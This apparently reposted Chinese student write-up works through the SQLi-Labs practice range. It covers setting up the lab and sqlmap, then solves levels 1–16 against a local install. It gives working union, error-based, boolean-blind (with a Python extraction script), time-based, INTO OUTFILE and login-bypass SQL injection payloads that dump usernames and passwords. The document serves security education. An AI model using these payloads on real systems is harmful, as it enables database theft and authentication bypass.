零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

您所在的位置:网站首页 打靶是干什么的 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

2024-01-21 17:45| 来源: 网络整理| 查看: 265

文章来源 | MS08067 Web零基础就业班1期作业

本文作者:giunwr、tyrant(零基础1期)

SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:

fe0d5717ddaf021409756402e94d1781.png

一、作业描述

完成sqllibs前18关,尽可能使用多的方法

二、sqllibs安装和sqlmap的安装 (一)、sqllibs安装

把对应该文件放在网站根目录下面,打开配置文件,修改密码

7f682817a168025c05efaec075de9722.png同时在自己的数据库中,执行该文件里面的命令即可

77801ad158e91b54555ec10026bf6658.png安装成功后的效果

8a8673615379cad15e556604dfc0beb8.png (二)、sqlmap安装

环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap

安装步骤:下载好工具后,解压

f35a83f708c1bee110f85954553f31bc.png

创建访问快捷方式:

桌面右键创建快捷方式3ab4ccca0947fd455bd5c5e6037cad3f.pngadb6e3b193496460fdd58b5c1cbefe12.png

964e55e1784091384267964a3362c50a.png

创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)

085d3e97fd112294a40a7aef893d5df2.png打开测试是否安装成功 python3 sqlmap.py -hf54b5c0a1a024ac5d748e04f376e271f.png

三、第一关 (一)、使用sqlmap工具注入

判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"

72a7359acdb2b9fe6ca6e59ffe128dee.png

找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db7be45b1f3e78896c9bfab6e75d0fd8d7.png

找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"108e5d579c523a8cd334343c0f564d5b.png

找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"dbc4b6408fc8b2ef0189d48ac5bc04e4.png

获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dumpf5db6ce125a41ec9c09819962e36ccda.png或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"83ccf4f89e3228d0a9ecdbb4a9c8a116.png

(二)、手动联合注入

判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")

6d7bc13a234ec3593b9e2d21b725d741.png2、判断列数 可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+88f8343341a6c5982e1565e880caec36.pnghttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+63b13781e55be3576490beec82a09e38.png

5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+d8eadf25a0bf8c80f71e02b159578650.png4、爆数据库 当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+0a86275ad04079ee830f618c45053a18.png5、爆表 有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+

6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+9c6f878ba962ea430d295df36318db87.png

7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+385f2c01e844799e31050f79b804420c.png

(三)、手动报错注入

爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+6546f9126ea45e889947379c0223a16d.png爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+dd1e26fe1630614841809f174c488dc3.png爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+5bc5da35ef9a8e7ec3f82c7748367f99.png爆数据 注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+cbe62d6abdbcd42796ea166b337e342d.png而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+93ab2b816cbced13a4e1ee13b8746cbc.png获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+15c0173015d61c14bd4d0eb39d18c021.png获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+32e0917e5b518f6c0d45e199bd06a261.png

四、第二关

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入edab1cb3694361df5e1227cb42f341be.pnghttp://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入

其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+

五、第三关

判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+ea5178d6d75db644fa47592366aaa1f8.png

六、第四关

判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111b45aab292ecffcd892eb00ae41650717.png

七、第五关

判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)61dd8892ba9c35ceff116c603f257553.png剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+7f6a29b1393e292130cbb0dd9b47fa9b.png

八、第六关

判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)1113f71833e52ba5b6b3071f51658299b97.png其余参考第一关报错注入

九、第七关

注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"

fc5eda8ce9d05e966a791002ae088c19.pngbe7c99f89b669b43d3356d1f1ff1d2a2.png

这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"d84de5e1414f883c65f6774fe749d6f6.png

手动注入判断注入类型:字符型注入 ?id=1'))

http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+bf3e895f9d22d25c515255a60a7f5c7c.png其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+

beb55c5cf5d9226e2c32e92ce431f70e.png 十、第八关

判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+543e7fe7ac0f902bd883615d6f546fde.png

可以看出报错和不报错的明显差别

4afb42c7392e886667eec5dff07fe304.png

使用布尔盲注 python脚本如下

import requests import string mystring = string.printable #所有可⻅字符 url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/' # url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -' url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -' reply='You are in...........' print(url) count = 1 result = '' while(True):     temp_result=result     for char in mystring:         response=requests.get(url.format(count,char)) #         print((response.content)) #         print(url.format(count,char))         if reply in str(response.content):             result+=char             print(result+'......')             break     if result==temp_result:         print('Complete!')         break     if '+++' in result:         print('result: '+result[0:-3])         break     count+=1

url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%2254523c37b74854b6db1924413265cc32.png执行效果如下

cf720e2cd9e5f2b32e2d2ff3955c7e87.png 十一、第九关 时间盲注 这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

c0f750fae8995cb7a8ed986384f53a12.png用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+396eee4e0be97962d6ad162731088b78.png

可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。 十二、第十关 时间盲注 这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入 0b5ad42043dda80264771e227f9284e9.png 十三、第十一关 万能密码 这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''. 因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。 67ce6df50dcd99f233f5b9e553756251.png 00e024d52222e066a5fdb47a7003fd00.png 72168796a43d60e6578f09de7be51122.png 十四、第十二关 这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关 43b9636c42f1ba5b698bbff8dab69a48.png 8c19af76762dc83352c83bd08aa5b4f7.png 十五、第十三关 这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关 b3c3d3e331bfdf3294e34baf0eb10ad6.png 41180f8ed1d5388ae93d3e4ba2338e5f.png 十六、第十四关 这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关 32a23a0e4b5db3d31cc11ba9eba1da2d.png 6728d07eeb6b7f9342df80a532537b01.png 十七、第十五关 这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。 ee139f4277ef44e518104548eaa79d46.png 十八、第十六关 类似15关,猜测语句为1") or 1 #,顺利过关 9b246dd7089923ba2e538803e5ecd39d.png

57ae4bd52f6e31247af9742c26003842.png

—  实验室旗下直播培训课程  —

b80a433cffeb663e8e6b00c9a5afda61.jpeg

06491e41f1cb323c7a8f5a45bf92ec2a.jpeg686bae239096193d4fc3e97435049f81.png

406dc93fdc977bafd6b1ef70a566a067.jpeg

dc18bf3c3f9b925be567445b391545e1.jpeg

c8ff6e6a4218ed5761c3ce8e3a5faaad.jpeg

90dfa5de096273529e6463b38d490457.jpeg

b176001589e3f02e7807c8e3de68d570.jpeg

来和20000+位同学加入MS08067一起学习吧!

8830644a34142fa3a6c35a1ceeb6636d.gif



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3